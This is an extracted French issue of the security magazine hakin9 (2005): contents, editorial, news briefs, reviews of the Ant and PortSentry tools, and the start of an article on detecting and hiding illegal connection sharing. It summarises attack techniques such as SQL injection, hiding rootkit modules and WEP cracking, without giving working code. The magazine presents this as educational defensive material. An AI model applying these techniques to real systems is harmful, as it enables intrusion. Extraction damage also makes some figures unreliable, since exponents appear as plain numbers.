index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la...

84

Transcript of index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la...

Page 1: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi
Page 2: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi
Page 3: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi
Page 4: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org2 hakin9 No 3/2005 www.hakin9.org 3hakin9 No 3/2005

Bases12Détecter le partage de connexion illégalMariusz Tomaszewski, Maciej Szmit, Marek GustaLes personnes qui se connectent illégalement au réseau peu-vent donner du mauvais sang aux administrateurs et aux four-nisseurs d'accès Internet. Mais il existe plusieurs méthodes pour détecter ces pratiques ignobles. Ces méthodes ne sont pas ni trop compliquées ni fastidieuses. Nous vous montrons comment les mettre en pratique ou les contourner.

22Recherche et exploitation des bogues dans le code PHPSacha FuentesLes programmes et scripts développés avec PHP, un des langages de programmation les plus utilisés, sont souvent vulnérables à différentes attaques. Il ne s'agit certes pas d'une certaine insécurité au niveau du langage lui-même, mais plutôt de l'inexpérience des programmeurs qui com-mettent souvent des erreurs de conception. Consultez les vulnérabilités possibles dans le code PHP et apprenez com-ment les trouver et les exploiter.

Attaque30Attaques par injection SQL avec PHP et MySQLTobias GlemserIl existe un certain nombre de techniques communes dont l'objectif est d'attaquer les environnements PHP/MySQL. Les injections SQL font partie des techniques d'attaques parmi les plus utilisées. Cette technique consiste à altérer l'état de l'application qui subit l'attaque de manière à accep-ter nos données d'entrée capables de manipuler les requê-tes SQL. Voyons comment le faire.

36Méthodes de dissimulation des modules du noyau dans LinuxMariusz BurdachL'insertion d'un rootkit en module dans le noyau est le début de la tâche de l'intrus. Pour rester inaperçu, il faut trouver le moyen de cacher ce code de façon à ne pas éveiller des soupçons. Vous connaîtrez les méthodes permettant de cacher un module quelconque dans le système.

40TEMPEST – émissions compromettantesRobin LobelTEMPEST est l'art de transformer des émissions involontaires en données compromettantes. Cela concerne principalement les ondes électromagnétiques, mais le principe peut être aussi bien appliqué à n'importe quel type d'émanations involontai-res induites par le fonctionnement interne d'un périphérique. L'article présente comment construire une machine qui sait capturer des émissions venant des moniteurs CRT.

hakin9, chapelier fou

Quand l'un de nos auteur, Sacha Fuentes (Recherche et exploitation des bogues dans le code PHP), nous avertit qu'il ne faut pas faire confi ance aux utilisateurs, il a raison. Le facteur humain était toujours le point faible de la sécurité informatique. Tout le monde sait qu'un élément le plus dou-teux de chaque système informatique est cette combinaison des protéines unissant la chaise avec le clavier. Aussi Tobias Glemser (Attaques par injection SQL avec PHP et MySQL) essaie de nous présenter les menaces relatives aux don-nées entrées dans le système sans aucune vérifi cation.

Le problème est que cet élément faible donne le sens à l'existence des machines à calculer. Si les humains n'avaient pas existé, il ne serait pas nécessaire d'effectuer les calculs ou d'échanger les informations entre les coins du monde les plus lointains. Indépendamment d'une justifi cation morale de ces procédés, sans nous, les tentatives de débloquer le code n'auraient pas lieu (Jakub Nowak, Protéger les logiciels Windows contre les pirates informatiques). Les connexions illégales aux réseaux ne seraient pas pratiquées non plus (Détecter le partage de connexion illégal). Il ne faudrait pas lutter contre les programmes malicieux tels que les vers sur Internet (Michał Piotrowski, Honeypots – leurre contre les vers) ou suivre les intrus se dissimulant dans les systèmes (Mariusz Burdach, Méthodes de dissimulation des modules du noyau dans Linux). Mais tous ces vices humains n'existent que depuis la prise de conscience par l'homme de la propriété.

Les dispositifs permettant d'intercepter l'émission révéla-trice (Robin Lobel, TEMPEST – émissions compromettantes) ne diffèrent en rien d'une voisine indiscrète qui nous écoute à travers le mur, un verre à l'oreille. De même, quelqu'un qui s'introduit la nuit dans le local informatique (Jeremy Martin, Conception de systèmes de sécurité physique) ressemble à un troglodyte se glissant dans la grotte d'autrui.

Le but de la parution de hakin9 est de savoir comment fonctionnent diverses attaques afi n de mieux pouvoir s'en prémunir. Nous tentons d'aborder tous les sujets diffi ciles, voire gênants. Des fois, nous mettons un chapeau blanc, des fois – un chapeau noir. Au-delà du côté éthique, toutes ces actions – heureusement ou pas – proviennent de la nature humaine. Tant que les hommes continueront à intriguer, le jeu « des gendarmes et des voleurs » ne sera pas terminé.

Rédacteur en chef : Roman Polesek

Roman [email protected]

Page 5: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org2 hakin9 No 3/2005 www.hakin9.org 3hakin9 No 3/2005

Défense48Honeypots – leurre contre les versMichał PiotrowskiLes vers de réseau se propagent très rapidement – afin de pouvoir se défendre efficacement, il faut avoir leur code et l'analyser. Les systèmes honeypots permettent non seule-ment de capturer un ver, mais aussi d'observer ses actions et de le supprimer automatiquement des machines infectées.

60Protéger les logiciels Windows contre les pirates informatiquesJakub NowakLa travail du développeur qui crée des applications shareware devient tôt ou tard la proie des pirates informatiques. Il arrive souvent qu'un crack ou un keygen apparaisse sur le net le jour de la sortie du logiciel. Il existe cependant les méthodes efficaces permettant de protéger le code contre les voleurs. Vous apprenez à les mettre en pratique.

68Conception de systèmes de sécurité physiqueJeremy MartinDépenser de l'argent dans la protection de données pouvant être recréées ne présente aucun intérêt ; que pourrait-il se passer concrètement ? – des commentaires de ce genre émanent d'un trop grand nombre de cadres issus des hautes sphères dirigeantes. Du mauvais emploi de la part de l'em-ployé à l'espionnage industriel, en passant par les catas-trophes naturelles, il existe une grande variété de menaces dirigées contre les actifs d'une société. Mais il faut bien reconnaître que la sécurité physique constitue la première ligne de défense d'un système d'information.

AVERTISSEMENTLes techniques présentées dans les articles ne peuvent être utilisées qu'au sein des réseaux internes.La rédaction du magazine n'est pas responsable de l'utili-sation incorrecte des techniques présentées.L'utilisation des techniques présentées peut provoquer la perte des données !

Le périodique est publié par Software-Wydawnictwo Sp. z o.o.Software-Wydawnictwo Sp. z o.o., Lewartowskiego 6, 00-190 Varsovie, PologneTél. +48 22 860 18 81, Fax. +48 22 860 17 70www.hakin9.org

Directeur de la publication : Jarosław Szumski

Imprimerie, photogravure : 101 Studio, Firma TęgiEkonomiczna 30/36, 93-426 ŁódźImprimé en Pologne/Printed in PolandAbonnement (France métropolitaine) : 1 an (soit 6 numéros) 38 €DOM/TOM, étranger : nous consulter

Dépôt légal : à parutionISSN : 1731-7037Commission paritaire : en coursDistribution : MLP Parc d’activités de Chesnes, 55 bd de la Noirée BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX

(c) 2005 Software-Wydawnictwo, tous les droits réservés

Rédacteur en chef : Roman Polesek [email protected]édactrice adjointe : Paulina Nowak [email protected]étaire de rédaction : Tomasz Nidecki [email protected] : Anna Osiecka [email protected]

Couverture : Agnieszka MarchockaTraduction : Grażyna Wełna, Iwona Czarnota, Marie-Laure PerroteyCorrection : Jérémie Fromaget, Jean-François K@sparov, Gabriel Campana, Gilles Gaffet, Sebastien Lecocq, Pierre-Emmanuel Leriche, Gilles FournilLe meilleur bétatesteur : Gilles FournilBétatesteur : Gaëtan Duquesne

Les personnes intéressées par la coopération sont priées de nous contacter : [email protected]

Abonnement : [email protected] : Marta Kurpiewska [email protected] : Monika Godlewska [email protected]é : [email protected]

La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour, pourtant elle décline toute responsabilité pour leur utilisation. Elle ne fournit pas de support technique lié à l’installation ou l’utilisation des logiciels enregistrés sur le CD-ROM. Tous les logos et marques déposés sont la propriété de leurs propriétaires respectifs.

La rédaction utilise le système PAO Pour créer les diagrammes on a utilisé le programme

Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data Software Sp. z o.o.

Outils

AntUn outil performant destiné à envoyer différents types de paquets réseaux.

PortSentryUn utilitaire de surveillance des ports qui permet de détecter les tentatives de scannage du système.

10

En abrégéLes nouvelles du monde de la sécurité des systè-mes informatiques.

04

Feuilleton

Empreinte du passéIl est grand temps de révolutionner l’envoi du cour-rier électronique.

78

08

Page 6: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

4 hakin9 No 3/2005

En abrégé

www.hakin9.org www.hakin9.org 5hakin9 No 3/2005

En prison pour LynxUn habitant de Londres âgé de 28 ans a été arrêté par la police – la cause en était une tentative proba-ble d'intrusion à l'un des serveurs de British Telecom. Il a été libéré, mais il doit se présenter chaque jour au commissariat de police.

Cet homme, touché profondément par la tragédie en Asie, a voulu offrir quelques sous au compte d'une fondation aidant les victimes du tsunami. Il a utilisé Internet (le site était hébergé sur les serveurs BT) – malheureusement, il s'est servi du navigateur texte Lynx installé sur le système Solaris 10.

Ce programme, peu fréquem-ment utilisé, a éveillé les soup-çons de la personne qui vérifi ait les journaux d'événements. Elle a constaté que ce comportement (User-Agent non standard) était suspect et a prouvé une tenta-tive d'attaque, et elle a informé la police. Les policiers ont forcé la porte du bienfaiteur et l'ont arrêté. La première poursuite en justice a eu lieu début d'avril 2005.

Voyages du ver CabirEn Californie, à Santa Monica, une version de Cabir, virus infectant les systèmes Symbian à l'aide de l'interface bluetooth, a été décou-verte dans deux téléphones Nokia 6600.

Il s'agit de la première apparition de Cabir sur le territoire américain. Cabir a déjà fait son apparition dans d'autres pays, de même que sa mutation plus complexe Lasco (qui est capable d'infecter aussi les fi chiers et pas seulement de se multiplier). Mais c'est le premier qui se déplace aussi facilement dans le monde entier.

La situation devient de plus en plus grave. Les opérateurs des cellulaires commencent à considé-rer les virus comme une menace réelle. Trend Micro et McAfee, deux éditeurs connus des anti-virus, ont publié les versions de leurs produits pour mobiles.

Après le déchiffrement réussi de l'al-gorithme MD5, on s'est mis à déchif-frer la fonction de hachage SHA-1, considérée jusqu'alors comme très sûre. Les spécialistes sont d'avis qu'il est temps de passer à ses variantes plus sûres, comme SHA-256 et SHA-512.

Xiaoyun Wang, Yiqun Lisa Yin et Hongbo Yu de l'Université Shan-gdong ont annoncé qu'il ont réussi à réduire considérablement le temps nécessaire pour trouver les collisions dans SHA-1. Vu qu'à l'aide de l'attaque brute force, il était nécessaire d'effec-tuer 280 d'opérations de hachage, une nouvelle méthode – présentée dans un document disponible uniquement à des autorités scientifi ques élues – permet de réduire ce nombre à 269 d'opérations. Bref, la nouvelle méthode est 2000 fois plus rapide.

Les Chinois ont publié les résultats partiaux de leurs recherches. Pour retrouver une collision par le biais de leur méthode, il faut respectivement : 233 d'opérations pour SHA-1 de 58 tours, 239 d'opérations pour SHA-0, 269 pour SHA-1 non simplifi é.

Cela peut paraître beaucoup. Cependant, étant donné la puissance des ordinateurs d'aujourd'hui et la loi de Moore, il serait naïf de croire encore à cet algorithme. Il ne faut pas oublier des solutions qui, au moins théoriquement, sont capables d'accé-lérer ce processus de calcul.

La première solution est le dis-positif appelé DES Cracker, conçu en 1999 par des cryptographes. Sa

première version, coûtant 250 000 de dollars (les copies coûtent environ 1/4 de ce montant), permettait d'effectuer 256 d'opérations DES pendant 56 heures. Étant donné la loi de Moore, on peut admettre qu'une machine similaire construite aujourd'hui pour-rait effectuer 260 d'opération dans ce temps (269 d'opérations prendraient 3,5 ans !). Mais si l'on investissait environ 38 000 000 de dollars, cette période (3,5 ans) pourrait être réduit à 56 heures – dans le futur, cela dure-rait encore plus court.

La seconde solution est pure-ment logicielle. En 2002, après 5 années de calculs, l'entreprise mathématique utilisant le réseau http://distributed.net destiné à des calculs statistiques compliqués, a touché à sa fi n. Plus de 300 000 utilisateurs ont partagé la puis-sance de leurs ordinateurs et enfi n un utilisateur du Japon a trouvé la combinaison appropriée. Référons-nous encore une fois à la loi de Moore – aujourd'hui, pour obtenir le même résultat, il suffi rait de 1/4 de ce temps.

SHA-1 est aujourd'hui la fonction de hachage la plus utilisée. Elle a été créée en 1995 à partir de la fonction SHA-0 (1993) considérée comme dangereuse. Vu les succès des chercheurs chinois, nous pouvons constater que ses jours sont comp-tés. Heureusement, il existe encore des solutions alternatives plus sûres, comme les mutations de l'algorithme SHA (256, 384, 512).

SHA-1 au rancart ?

Parmi les phishers, le site http://www.ebay.com, le système le plus populaire d’enchères via Internet, est utilisé de plus en plus souvent pour légitimer leurs actions.

Suivant le service The Register (http://theregister.co.uk), les pirates exploitent le script de redirection dispo-nible sur le site d’eBay. Cette adresse s’affi che dans plusieurs emails mali-cieux dernièrement envoyés. Ainsi, les pages falsifi ées paraissent plus véri-diques – le lien se réfère à l’adresse

du site d’enchères et le script redirige ensuite la connexion vers les pages des phishers. Les détails techniques sont bien sûr inconnus.

Les attaques de type phishing font de plus en plus de victimes. Le rapport d ’Anti-Phishing Working Group, organisme qui surveille ces cas, indique que le nombre d’emails de type phishing a atteint en janvier un chiffre de près de 13000, ce qui donne une augmentation de 40% par rapport à décembre 2004.

eBay aide au phishing

Page 7: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

4 hakin9 No 3/2005

En abrégé

www.hakin9.org www.hakin9.org 5hakin9 No 3/2005

Rootkits arriventLes experts de Microsoft ont peur d'une nouvelle génération de virus et troyens exploitant les rootkits du noyau du système.

Les rootkits (cf. les articles de Mariusz Burdach dans ce numéro et dans le numéro précédent de hakin9) sont un ensemble de programmes permettant d'obtenir les droits d'accès les plus élevés du système et de s'y dissimuler. Bien que l'idée provienne des systèmes basés sur UNIX, depuis la naissance de Windows NT, elle est aussi présente dans les systè-mes de Redmond. Microsoft a des raisons de s'inquiéter – les root-kits du noyau deviennent de plus en plus utilisés parmi les auteurs des malwares. On peut admettre que cela risque d'empirer et que ces solutions seront assez fré-quentes.

C'est pourquoi, l'entreprise de Redmond a conçu un outil spé-cial baptisé Strider Ghostbuster qui vérifi e les fi chiers système de Windows du point de vue de leurs modifi cations. S'ils diffèrent des versions initiales d'installation, le programme émet une alerte. Pour l'instant, l'unique solution au problème est la réinstallation du système (évidemment, après l'archivage des données impor-tantes).

Premier spimmer arrêtéUn adolescent New-yorkais de 18 ans vient d’être arrêté pour avoir envoyé en masse des messages spim (envoi du spam au travers du services de messagerie ins-tantanée).

Greco, a envoyé plus de 1 500 000de messages de type spam (la publicité des montres Rolex, la pornographie, etc.) aux utilisa-teurs de la messagerie instan-tanée de MySpace.com, un portail de rencontres pour adolescents. D'après les représentants de l'entreprise, Anthony Greco exer-çait son activité depuis décembre 2004.

De plus, l’adolescent a menacé MySpace.com de continuer ses envois massifs de spam jusqu'à ce que la compagnie ne l’em-bauche. L'entreprise a utilisé une ruse et a invité Greco à une rencontre. Celui-ci, convaincu que son plan avait réussi, a été arrêté par la police sur l'aéroport de Los Angeles.

Solaris – le système de la famille UNIX produit par SUN Microsystems – sera disponible avec son code source sous la licence conforme au standard open source. C'est une bonne nouvelle, bien que les malicieux considèrent que cette démarche de l'entreprise est une tentative de décharger leur propres programmeurs.

Selon les affi rmations de SUN, le code source de Solaris 10 (le système a eu sa première le 1 février 2005) sera disponible dans sa totalité dans la deuxième moitié de l'année, sur le site http://opensolaris.org. Pour l'instant, comme preuves d'une bonne volonté de l'entreprise, il est possible de télécharger les sources de DTrace – un excellent outil permettant le tra-çage dynamique du code.

Autant DTrace que Solaris seront entièrement disponibles sous la licence CDDL (Common Develop-ment and Distribution License), approuvée par OSI (Open Source Ini-tiative), une organisation très impor-tante pour les logiciels libres. Pourtant

SUN informe que ce processus sera effectué progressivement – au moins, tout d'abord, les pilotes seront fournis sous forme binaire.

Solaris 10, présenté comme le plus avancé technologiquement des systèmes UNIX, est déjà proposé en téléchargement. Vous pouvez le télécharger tout à fait gratuitement, après avoir rempli le formulaire d'enregistrement. Deux types sont disponibles : pour les systèmes UltraSPARC et Intel/Opteron. Il occupe 4 CDs (ou un DVD) et un Companion Disc optionnel contenant les binaires GNU précompilés.

Certains peuvent être mécon-tents – CDDL n'est pas GNU GPL, les sources seront incomplètes... Les paranoïaques ajouteront que ce ne sont que de belles promesses et personne ne verra jamais du code. Mais nous espérons que SUN tien-dra sa promesse. Le produit principal de l'entreprise joindra ces cousins – Linux et les systèmes de la famille BSD. Un choix plus ample ne fera pas de mal.

Système, ouvre-toi

Cela peut être la fi n de l’anony-mat dans Internet – un doctorant à l’UCLA a annoncé qu’il a décou-vert la méthode de prise d’em-preinte digitale à distance des dispositifs physiques. Les détails seront présentés lors du Sym-posium sur la Sécurité et la Vie Privée, organisée en mai par l’IEEE (Institute of Electrical and Electro-nics Engineers).

Tadayoshi Kohno avec son équipe semble avoir trouvé un moyen d’iden-tifi er à distance des dispositifs (p. ex. des cartes réseau) sans la coopé-ration de l’appareil et à l’insu de son utilisateur. Il paraît que la méthode fonctionne indépendamment de l’infrastructure réseau – elle permet, entre autres, d’identifi er un ordinateur donné, bien que même si celui-ci se trouve derrière un pare-feu ou change d’adresse IP derrière un NAT.

L’idée du groupe du doctorant exploite les variations des horlo-

ges internes pour traiter le signal, appelées clock skew (décalage d’horloge). Vu que dans la plupart des piles TCP le support de TCP timestamps (RFC 1323) est implé-menté (RFC 1323), il était possible d’élaborer le système d’analyse des informations collectées. La partie principale de l’étude se base sur un test de 38 jours, utilisant 69 machines confi gurées de façon identique tournant sous Windows XP. Le résultat a fait apparaître que les variations de l’horloge sont diffé-rentes pour chaque machine et per-mettent de l’identifi er parmi d’autres machines.

La méthode de prise d’empreinte digitale a distance a été aussi testée avec succès sur les systè-mes Windows 2000, MacOS X,Red Hat, Debian, FreeBSD et Open-BSD.

Nous savons où tu es

Page 8: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org6 hakin9 No 3/2005

hakin9.live

Sur le CD joint au magazine, on vous offre hakin9.live (h9l), en version 2.5 – une distribu-tion bootable de Linux qui réunit les outils, une

documentation, des tutoriaux et les suppléments des articles.

Pour commencer avec hakin9.live, il suffi t de démar-rer l'ordinateur avec le CD. Les options supplémentaires liées au démarrage du CD (choix de langue, résolution, désactivation de framebuffer etc.) sont présentées dans la documentation contenue sur le CD – le fi chier help.html (si vous consultez le contenu depuis le h9l démarré, ce fi chier se trouve dans home/haking/help.html).

Quoi de neuf ?La version 2.5 s'appuie sur Aurox Live 10.1. Le système fonctionne sous contrôle du noyau 2.6.7, la détection du matériel a été améliorée et la confi guration du réseau rendue plus fonctionnelle. Nous avons également unifor-misé le menu – les programmes sont classés en catégo-ries adéquates ce qui permet un accès plus intuitif aux applications.

Le nouveau hakin9.live comporte beaucoup plus de suppléments – des documents RFC mis à jour, quelques livres gratuits en format PDF et HTML, ainsi que des arti-cles non publiés, en outre Windows Security Penetrated de Adrian Pastor (en anglais).

La version actuelle de h9l voit apparaître de nou-veaux programmes :

Sur le CD

• honeyd – un honeypot à basse interaction,• Apache, PHP et MySQL,• AutoScan – un outil graphique pour scanner minutieu-

sement des segments entiers de réseau,• ROX – un gestionnaire de bureau et de fi chiers,• AirCrack – un programme de plus pour casser les

clés WEP.• Ant – un excellent outil (GTK) pour construire

et envoyer des trames et paquets réseaux de notre choix.

À présent, le gestionnaire de fenêtres est par défaut fl uxbox, légèrement modifi é. Il a un aspect agréable, est parfaitement confi guré et ses exigences en matériel sont minimes. Enfi n, on vous donne la possibilité de démarrer avec un environnement graphique agréable xfce4 en ver-sion 4.2 (option de démarrage hakin9 xfce4).

Documentation et tutoriauxExcepté les conseils de démarrage et le support hakin9.live, la documentation comporte aussi des tutoriaux avec des exercices pratiques élaborés par nous-mêmes. Utiliser les tutoriaux implique un travail avec hakin9.live. Ce principe nous évitera bien de problèmes liés aux différentes versions des compilateurs, aux fi chiers de confi gurations placés ailleurs, ou il nous épargnera encore les soucis des options indispensables pour pouvoir démarrer le pro-gramme dans un environnement donné.

La présente version de hakin9.live comporte deux tutoriaux de plus, rajoutés à ceux déjà existants. Le pre-mier dont l'auteur est Tobias Glemser – montre comment mener les attaques Injection SQL sur la base MySQL. Nous allons apprendre à passer habilement les requêtes aux systèmes de forums (en anglais bulletin boards) sur l'exemple de YaBB SE.

Le deuxième nouveau tutorial traite de l'utilisation des honeypots (sur l'exemple de Honeyd) pour détecter les virus et désinfecter les ordinateurs de notre réseau. C'est une application pratique du savoir présenté dans l'article Honey-pots – leurre contre les vers de Michał Piotrowski. n

Figure 1. hakin9.live est un outil condensé et pratique Figure 2. De nombreux suppléments

Page 9: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi
Page 10: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org8 hakin9 No 3/2005

Outils

Démarrage rapide : vous êtes administrateur d'un petit réseau et vous voulez tester la réaction de votre routeur aux différentes trames envoyées à partir du réseau local. Mais la préparation manuelle (même à l'aide du programme SendIP) de plusieurs types de trames ethernet peut être très fastidieuse et il est facile de commettre une erreur. Il est donc préférable de se servir d'un outil très convivial et quasi automatique, par exemple Ant.

Vu que le programme est en phase de développement (pourtant, il est tout à fait opérationnel), avant de l'utiliser, il faut compiler son code source – n'oubliez pas qu'Ant, pour fonctionner correctement, exige les bibliothèques gtk+, libnet et libpcap. Après le chargement des sources, décompactez-les et passez au répertoire ant :

$ tar jxvf ant-0.1.tar.bz2

$ cd ant

Ensuite, tapez la commande :

$ make

Après quelques instants, le répertoire contiendra le fi chier binaire ant. Si vous voulez, vous pouvez le copier dans le répertoire disponible dans la variable $PATH (par exemple /usr/bin). Le fi chier doit être lancé avec les droits de root, par exemple :

$ gksu ant

Admettons que vous vouliez créer une trame tout à fait ordinaire avec les en-têtes IP et TCP. Après avoir démarré Ant, vous pouvez passer à la création. Évidemment, vous devez commencer par l'en-tête ethernet (bouton orange). Une nouvelle fenêtre permettant la défi nition des options de l'en-tête s'affi che – l'adresse MAC cible et source, le type/taille et l'emplacement dans la trame. En ce qui con-cerne le protocole IP, il est recommandé de laisser les paramètres par défaut.

À l'étape suivante, il faut ajouter l'en-tête IP (bouton bleu). La fenêtre d'options est encore plus impression-

nante ; elle permet de paramétrer la version du protocole (IPv4 ou IPv6), la longueur de la trame, les drapeaux (don't fragment et more fragments), la valeur TTL, le protocole de la couche supérieure (TCP) et l'adresse IP source et cible. Vous pouvez aussi déterminer la somme de contrôle IP (le bouton bleu au-dessous), pourtant il est recommandé de laisser les valeurs proposées par le programme.

La dernière étape consiste à ajouter l'en-tête TCP et sa somme de contrôle. Dans cet en-tête, vous pouvez défi nir le port source et cible, la longueur et, par exemple, les bits de contrôle (SYN, FIN, ACK, RST). L'ajout de la somme de contrôle ne doit pas poser de problème. Une fois la trame préparée, elle peut être envoyée à l'aide de la commande Send.Autres qualités : Ant permet la création de données composées d'un nombre quelconque de trames. L'en-voi peut être organisé en séries de transmissions : vous devez entrer leur nombre, les intervalles entre les séries et les trames spécifi ques en millisecondes. Les trames créées peuvent être enregistrées pour un envoi ultérieur.

Roman Polesek

Ant

Système : Linux, *NIXLicence : GNU GPLBut : Création et envoi des trames réseauPage d'accueil : http://ant.sourceforge.net/

Ant est un outil graphique (utilisant la bibliothèque GTK) qui facilite l'analyse et les tests de sécurité des réseaux et des systèmes informatiques – il permet de créer et d'envoyer des trames réseau avec les en-têtes des protocoles les plus courants (IPv4/IPv6, TCP, UDP, ARP, IPX, SPX et autres). Il a gagné au concours de hakin9 du meilleur front-end pour SendIP – il est disponible sur hakin9.live.

La création d'une trame dans le programme Ant

Page 11: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi
Page 12: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org10 hakin9 No 3/2005

Outils

Démarrage rapide : Vous soupçonnez quelqu'un d'essayer de scanner votre système. Vous voulez vous protéger en verrouillant, les paquets suspects qui arrivent et l'adresse IP de l'hôte qui les envoie. Tout d'abord, téléchargez le logiciel depuis la page d'accueil de l'éditeur, décompressez-le dans un dos-sier choisi et tapez la commande suivante dans le répertoire PortSentry :

$ make linux

Pour installer l'application, tapez la commande :

# make install

Une fois cela fait, PortSentry sera installé par défaut dans /usr/local/psionic/portsentry.

Une fois installé, le logiciel doit être confi guré en édi-tant le fi chier portsentry.conf. Dans les lignes TCP _ PORTS et UDP _ PORTS, il est possible de défi nir les ports à sur-veiller. Rien n'empêche de les changer en 21,22,23,25,110, par exemple – cela signifi e que PortSentry fi ltrera les paquets sur les ports des protocoles telnet, SSH, FTP, SMTP et POP3.

Dans le même fi chier, trouvez la ligne #iptables support for Linux ; vous devez y taper un chemin correct vers iptables. Finalement, supprimez # de la ligne KILL _

HOSTS _ DENY="ALL: $TARGET$ : DENY" pour que PortSentry ajoute les hôtes au fi chier hosts.deny.

PortSentry peut être démarré par plusieurs moyens. Voici les commandes permettant de fi ltrer les différents types de scannage :

• portsentry -tcp – le logiciel vérifie les fichiers de configuration et il écoute sur les ports TCP défi-nis,

• portsentry -udp – comme ci-dessus avec cette diffé-rence que les ports UDP sont pris en compte,

• portsentry -stcp – PortSentry utilise les sockets pour surveiller tous les paquets arrivants ; si un paquet est destiné à un port surveillé, le logiciel verrouille les connexions à l'hôte qui attaque,

• portsentry - audp – comme ci-dessus mais concerne UDP,

• portsentry -atcp – le logiciel écoute sur tous les ports au-dessous du numéro du port défi ni dans la ligne ADVANCED _ PORTS _ TCP du fi chier portsentry.conf ; cette méthode est la plus sensible,

• portsentry -audp – comme ci-dessus mais concerne UDP.

Les informations sur toutes les tentatives de scannage seront enregistrées dans /usr/local/psionic/portsentry/portsentry.history. Grâce au fichier portsentry.ignore qui se trouve dans le même répertoire, il est possi-ble d'ajouter les hôtes qui seront ignorés (non ver-rouillés).D'autres possibilités fort utiles : il existe un utilitaire supplémentaire nommé Logcheck permettant d'en-voyer les journaux à l'administrateur par SMS ou par e-mail.

Jan Korzeniowski

PortSentry

Système : *NIXLicence : CPL, GPLBut : détecter le scannage des portsPage d'accueil : http://sourceforge.net/projects/sentrytools

PortSentry est un utilitaire de surveillance des ports qui permet de détecter les tentatives de scannage du système. Il intègre des mécanismes permettant de verrouiller aussi bien le paquet lui-même que l'adresse d'un hôte depuis lequel des paquets sont envoyés.

Figure 2. Confi guration de PortSentry à l’aide de l’interface Webmin

Figure 1. Journaux du logiciel PortSentry

Page 13: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi
Page 14: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org12 hakin9 No 3/2005

Base

s

Lorsqu'une connexion Internet est trop chargée, l'administrateur peut partager la bande passante entre les utilisateurs

légaux. Alors, vous n'avez pas à vous soucier du fait que quelqu'un offre sa connexion à un voisin (cf. l'Encadré Partage de connexion) – cela n'a aucun impact sur la qualité de fonc-tionnement du réseau. Ce qui reste, c'est le problème de partage des frais.

Une question se pose : comment l'adminis-trateur peut détecter que le réseau est exploité par des tiers ? Il existe quelques techniques, plus ou moins effi caces. Mais tout dépend du savoir-faire de la personne qui se raccorde illégalement au réseau et des techniques qu'elle utilisera pour dissimuler ce fait.

La première façon, et en même temps la plus raisonnable, de se protéger contre le partage de connexion illégal est la division de la ligne. Cette opération garantit que le débit de notre réseau ne sera pas réduit à cause des utilisateurs non autorisés, et que l'utilisation de la bande pas-sante affectée ne dépendra pas du client.

Si la limitation de la bande passante ou du transfert ne vous satisfait pas et si vous ne souhaitez pas que la ligne soit partagée, vous pouvez analyser le trafi c dans votre réseau

Détecter le partage de connexion illégalMariusz Tomaszewski, Maciej Szmit, Marek Gusta

Les personnes qui se connectent illégalement au réseau peuvent donner du mauvais sang aux administrateurs et aux fournisseurs d'accès Internet. Mais il existe plusieurs méthodes pour détecter ces pratiques ignobles. Ces méthodes ne sont pas ni trop compliquées ni fastidieuses.

et essayer de détecter ces situations. Si le contrat avec votre FAI interdit la division de la ligne, celui qui commet ce délit peut être tout simplement débranché – évidemment, si vous avez réussi à détecter le partage illégal. Mais ces actions res-semblent plutôt à jouer « aux gendarmes et aux voleurs » et ce dernier prend le dessus.

Valeurs TTL dans les en-têtes des paquets IPL'en-tête du datagramme IP possède le champ TTL – durée de vie (en anglais Time To Live)

Cet article explique...• comment dissimuler le partage illégal de con-

nexion,• comment détecter le partage non autorisé de

notre connexion.

Ce qu'il faut savoir...• utiliser le système Linux,• connaître le modèle ISO/OSI,• au moins les notions de base des protocoles

TCP/IP.

